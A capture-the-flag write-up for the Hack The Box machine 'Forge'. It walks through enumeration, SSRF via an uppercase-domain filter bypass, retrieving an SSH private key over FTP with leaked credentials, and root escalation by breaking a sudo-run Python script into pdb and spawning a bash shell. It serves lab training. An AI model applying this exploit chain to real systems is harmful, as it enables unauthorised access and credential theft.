Enumeration

sudo nmap -sC -sS -sV -F 10.10.11.111 >scan.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-22 12:04 EEST
Nmap scan report for 10.10.11.111
Host is up (0.066s latency).
Not shown: 97 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds

As soon as you enter the page, you get redirected to forge.htb. We have to include that in /etc/hosts.

Getting the foothold

If we try to upload a reverse shell, the file is uploaded. But, if you go to the url they give you, it seems like an image is shown.

I tried using the remote upload feature. By using as input localhost or forge.htb we get an error about those domains are banned.

By using http://10.10.11.111/index.php we get a weird error I couldn’t fix. It redirected the IP to the forge.htb domain, but the / disapeared.

An error occured! Error : HTTPConnectionPool(host='forge.htbindex.php', port=80): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f6fac13dd00>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution'))

After a lot of tries, I simply put the forge.htb domain in capital letters and it worked… So we can bypass the banned domain list.

By using gobuster, I found an admin subdomain: admin.forge.htb

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     forge.htb
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/dirbuster/directory-list-2.3-medium.txt
===============================================================
2021/10/22 18:32:00 Starting gobuster in DNS enumeration mode
===============================================================
Found: admin.forge.htb

which says:

Only localhost is allowed!

By using the upload from url we might be able to perform a Server Side Request Forgery (nice machine name btw). Input http://ADMIN.FORGE.HTB:

<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

The announcements page looks like this:

<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>

If you try to login to the ftp server, a connection can’t be established. Although, the announcements also mention the possibility to use the /upload with ftp. Let’s try that: http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB

It succesfully uploaded the file, so we can check the content with curl:

drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Oct 22 12:30 user.txt

It is actually the user directory. As we can’t upload anything directly to this directory, let’s check if we can get an ssh key (as there is an ssh service).

If we check the .ssh folder with the following query: http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/ we can see there is a RSA key:

-rw-------    1 1000     1000          564 May 31 12:35 authorized_keys
-rw-------    1 1000     1000         2590 May 20 08:30 id_rsa
-rw-------    1 1000     1000          564 May 20 08:30 id_rsa.pub

We can grab it with the following query and save it in a file (ssh_user). http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa

ssh -i ssh_user user@10.10.11.111

And we logged in!

Privilege escalation

Let’s check for things to run like sudo without password:

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

Here is the script:

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

It is opening a TCP socket locally and running as a server to perform some simple administration comands (nothing aparently dangerous). But if you think about it, we could create for example a df executable and add it to the path, so that would be executed instead of the original one.

We can run the script like this:

sudo python3 /opt/remote-manage.py
Listening on localhost:38134

We can see in the script that there is a hardcoded password which you can input if you open a new ssh connection with a netcat command (to connect to the tcp socket).

user@forge:~$ nc localhost 38134
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit

I was going to do the malicious df executable until I saw import pdb. PDB is the Python Debugger, which can also run python, so we could create an interactive shell.

The debugger is being called when there is an error in the try. We can easily enter the except if we input something that is not a number or even close the connection while being asked.

user@forge:~$ nc localhost 38134
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
^C

This will create a pdb session in the server ssh session.

sudo python3 /opt/remote-manage.py
Listening on localhost:38134
invalid literal for int() with base 10: b''
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)

As we said, pdb lets you run python code. You’d probably now at this point how to call an interactive shell with python:

Listening on localhost:38134
invalid literal for int() with base 10: b''
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import pty
(Pdb) pty.spawn("/bin/bash")
root@forge:/home/user#

And then we can read the root flag 🤠.